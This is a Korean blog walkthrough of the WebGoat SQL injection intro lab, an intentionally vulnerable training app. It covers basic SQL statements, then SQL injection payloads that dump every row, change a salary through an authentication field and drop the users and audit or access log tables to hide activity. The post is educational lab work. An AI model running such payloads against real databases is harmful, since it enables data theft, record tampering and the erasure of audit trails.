Notice
Recent Posts
Recent Comments
Link
«   2024/09   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30
Archives
Today
Total
관리 메뉴

삽질블로그

[Kali_LINUX] SQL Injection (intro) | WebGoat 본문

카테고리 없음

[Kali_LINUX] SQL Injection (intro) | WebGoat

삽질장인 2020. 8. 27. 17:17

※ 본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.

<Employees Table>

       userid                first_name            last_name           department            salary                 auth_tan

32147

Paulina

Travers

Accounting

$46.000

P45JSI

89762

Tobi

Barnett

Development

$77.000

TA9LL1

96134

Bob

Franco

Marketing

$83.700

LO9S2V

34477

Abraham

Holman

Development

$50.000

UU2ALK

37648

John

Smith

Marketing

$64.350

3SL99A

2. 직원 Bob Franco의 부서를 검색하세요. 

  SELECT column FROM tablename WHERE 조건;

SQL query :

      SELECT department FROM Employees WHERE first_name = 'Bob';

 

3. Tobi Barnett의 부서를 'Sales'로 변경하세요.

  UPDATE 테이블 이름 SET 열 이름 = 값 WHERE 조건;

SQL query :

      UPDATE Employees SET department= 'Sales' WHERE first_name = 'Tobi';

 

4. Employees 테이블에 phone( varchar(20) ) 열을 추가하여 구성표를 수정해보세요.

  ALTER TABLE 테이블명 ADD 열이름 데이터 유형(크기);

SQL query :

      ALTER TABLE employees ADD phone varchar(20);

5. 사용자 그룹 'UnauthorizedUser'에게 테이블 변경 권한을 부여하세요.

SQL query :

      GRANT ALTER TABLE TO UnauthorizedUser;

6. 

데이터베이스에서 사용자 정보를 검색하는 SQL 쿼리는 다음과 같습니다.

'SELECT * FROM users WHERE name ='+ userName + '';
userName 변수는 클라이언트의 입력을 보유하고이를 쿼리에 '주입'합니다.

입력이 Smith 인 경우 쿼리는 다음과 같습니다.
'SELECT * FROM users WHERE name ='Smith ';
Smith라는 이름의 사용자에 대한 모든 데이터를 검색합니다.

그러나 공격자가 SQL 쿼리의 일부가 될 수있는 예상치 못한 입력을 제공하면 쿼리 자체가 수정 될 수 있으며 이러한 방식으로 데이터베이스에서 다른 (악의적인) 작업을 수행 할 수 있습니다.

다음은 해커가 데이터베이스에서 단일 사용자의 데이터를 읽는 것 이상의 작업을 수행하기 위해 입력 필드에 제공 할 수있는 몇 가지 예입니다.
Smith' OR '1 ' = '1
결과 SELECT * FROM users WHERE name = 'Smith' OR TRUE; 그러면 사용자 테이블의 모든 항목이 반환됩니다.

Smith' OR  1 = 1; --
결과 SELECT * FROM users WHERE name = 'Smith' OR TRUE;-- '; 그러면 사용자 테이블의 모든 항목이 반환됩니다.

Smith'; DROP TABLE user; TRUNCATE audit_log; -- 
여러 SQL 명령을 연결하고 USERS 테이블과 audit_log의 항목을 삭제합니다.

이와 같이 입력이 --(나머지 줄에 주석 처리) or; 와 같은 SQL 메타 문자에 대해 필터링되지 않은 경우 (SQL 쿼리를 종료하고 그런 식으로 연결하는 데 사용할 수 있습니다).

9. 아래 양식을 사용하여 사용자 테이블에서 모든 사용자를 검색하십시오. 전체 목록을 얻는 데에 특정 사용자의 이름은 알 필요가 없습니다.

  성공적인 SQL-Injection을 위해 Query는 항상 true로 평가되어야 합니다.

SELECT * FROM user_data WHERE first_name = 'John' and last_name = ' ' + or + '1' = 1;

10. 아래의 두 입력 필드를 사용하여 사용자 테이블에서 모든 데이터를 검색해보세요.

  1) 어떤 입력 필드가 인젝션 공격에 취약한지 확인하십시오.

  2) 0 또는 1 = 1을 첫 번째 입력 필드에 입력합니다. 

Login_ Count : 0

User_Id : 0 OR 1 = 1

비정상 쿼리 : SELECT * FORM user_data WHERE login_count = 0 and userid = 0 OR 1 = 1;

-----------------------------------여기서부터는 시간 관계상 정리x--------------------------------

11.

당신은 대기업에서 일하는 John Smith라는 직원입니다. 회사는 모든 직원이 근무하는 부서 및 급여와 같은 자신의 내부 데이터를 볼 수있는 내부 시스템을 갖추고 있습니다.

시스템은 직원이 데이터를보기 위해 고유 한 인증 TAN을 사용해야합니다.
현재 TAN은 3SL99A입니다.

항상 가장 수입이 많은 직원이 되려는 충동이 있기 때문에 시스템을 활용하고 자신의 내부 데이터를 보는 대신 모든 동료의 데이터를 살펴보고 현재 급여를 확인하려고합니다.

아래 양식을 사용하여 직원 테이블에서 모든 직원 데이터를 검색해보십시오. 필요한 정보를 얻기 위해 특정 이름이나 TAN을 알 필요가 없습니다.

Employee Name : A

Authentication TAN : ' OR '1' = '1

 

12.

방금 Tobi와 Bob이 모두 당신보다 더 많은 돈을 벌고 있다는 것을 알게되었습니다.

가장 많이 벌 수 있도록 자신의 급여를 변경하세요.

Employee Name : A

Authentication TAN : '; UPDATE employees SET salary = 99999 WHERE first_name = 'John;

 

13.

이제 당신은 회사에서 최고 소득자입니다. 누군가 볼 지 모르니 모든 작업이 기록된 access_log 테이블을 삭제하세요.

Action contains : %' DROP TABLE access_log;--

 

 

Comments